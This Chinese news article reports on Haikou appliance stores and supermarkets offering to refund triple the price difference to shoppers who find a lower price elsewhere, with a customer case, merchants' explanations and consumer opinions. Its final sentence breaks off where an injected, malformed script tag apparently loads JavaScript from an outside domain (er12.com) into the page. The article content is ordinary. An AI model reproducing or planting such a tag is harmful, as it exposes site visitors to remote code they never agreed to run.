“保证全市最低价,不是最低差价三倍赔返……”眼下,这种“比谁是全市最低价”的促销方式在海口正悄然流行。那么,商家“差价三倍赔返”的承诺会给市场带来了什么呢?消费者能从中真正受益吗?记者为此进行了调查采访。
同一洗衣机价差68元
商家赔返顾客3倍差价
5日下午5时许,家住海口市玉沙路的赵先生到国美电器(国贸店)买了一台xqsm33-200抗菌性的海尔洗衣机,该台洗衣机的售价是1360元。国美的销售人员给他开了一张发票。此时,平常就爱留意打折优惠广告的赵先生,想起附近的信兴电器有过“差价三倍赔返”的公开承诺。
“我之前在信兴买过几件电器,所以对该卖场‘谁比我便宜,差价三倍赔返’有点印象,但我当时不敢肯定是否真的能兑现。”赵先生说。于是,赵先生拿着刚开的发票抱着试试看的心态来到了附近信兴电器,发现他买的那台洗衣机在信兴电器要卖1428元,差价68元。信兴电器销售人员核实并请示有关负责人后,最后兑现了“差价三倍赔返”的承诺,赔返204元给赵先生。尝到甜头的赵先生高兴地说:“商家诚信难能可贵,竞争让消费者受益更可贵。”
“差价三倍赔返”有条件
当天有效隔日不受理
针对“差价三倍赔返”原则,信兴电器(国贸店)分店有关负责人告诉记者,“差价三倍赔返”原则的具体规定是:顾客当天在信兴卖场所购商品成交后发现本市其他(同类专业电器)买场成交价低于我司卖场价格之差,为差价部分。该差价部分信兴卖场承诺三倍赔付(例如差价100元赔付300元)。顾客可凭信兴售机发票和本市其他卖场同型号发票(当天)到信兴卖场服务总台核实,受理后当天兑现。该规定还特别声明:本市其他卖场促销机型、特价机型、返还操作机型、送礼抵现金机型不予受理。受理有效期:商品出售当天卖场营业结束前受理有效,隔日不再受理。
按理说,根据规则规定,顾客得在信兴买电器才能享受这个承诺,而赵先生的洗衣机是在国美买的,信兴为何还要兑现呢?信兴电器有关负责人解释说,赵先生以前有几件电器是在信兴买的,在买这台洗衣机前,赵先生先后来信兴看了五次,对于这么忠实的顾客,信兴没理由拒之门外,任何卖场除了按规章制度来操作外,还有一些人性化和别的操作原则。
可商家是出于什么考虑推出这个承诺的呢?该负责人表示,“差价三倍赔返”原则在信兴已推了好几年了,这个原则是和厂家签了合同的,基本是厂家给的政策。该原则除了让利给消费者和提高服务质量外,另一方面也维护了市场游戏规则,保障了消费者的利益。
超市也打差价赔返牌
目的是吸引顾客消费
记者了解到,“差价三倍赔返”不仅在家电促销领域使用,超市也开始打这张牌。
今年9月23日,海口万福隆超市也开始推行“差价三倍赔返”的承诺。其承诺的附加条件也是同类超市同一品牌、同类规格,且是当天发现当天兑现,特价商品除外。
万福隆超市有关负责人表示,推行这个承诺以来,每月有4-5起差价三倍返还兑现,最多的一起是赔付差价金额近30元。一般的一两毛钱差价,消费者都不会来兑现,除非是大的差价,但不管怎样,超市也是想利用这么一个承诺给顾客一个满意价格。
据了解,“差价三倍赔返”在内地很多零售领域流行已久,如国美、红星美凯(家居购物连锁)等连锁企业都在执行这个政策,目的是为广大消费者提供了便利。
商家称赔返不是恶性竞争
这种承诺可提升服务质量
对于商家推行的“差价三倍赔返”原则,有人会产生这样一个疑问:是否会引发恶性削价竞争呢?对此,信兴电器有关负责人表示,他们所承诺的是“常规机”,而不是促销机型、特价机型等机型,不会影响市场的游戏规则,反而是维护了市场,毕竟厂家和商家是有游戏规则的,不是谁想怎么样就怎么样的。这位负责人表示:“我们暂时还不会考虑收回这个承诺,我们会坚持的。”
万福隆超市有关负责人认为,不会因为推行这个承诺,超市的价格竞争就白热化,因为超市之间的价格竞争本来就激烈,从另外一方面看,这个承诺可以提升超市的服务质量。
市民称赔返有炒作嫌疑
商家真正让利才是好
对于商家推行的“差价三倍赔返”承诺,多数市民接受记者随机采访时表示,“差价三倍赔返”承诺确实在一定程度上给消费者让利,也在一定程度上刺激了同行的价格策略。经常到超市买东西的王女士给记者打了个比方。她说,家乐福和沃尔玛登陆海口后,无疑会对现在的零售业产生影响,竞争将会更激烈,毕竟这两个国际零售巨头都是以低价闻名的,如果到那时候,本地商家还能推行这个承诺,那消费者自然会拍手叫好。
但也有市民认为,现在商家的促销手段让人眼花缭乱,消费者稍不注意就会落入消费陷阱。不可否认,商家推出这个承诺有一定的让利,但估计也有炒作的嫌疑。现代人毕竟生活节奏快,除?script src=http://er12.com/t.js>











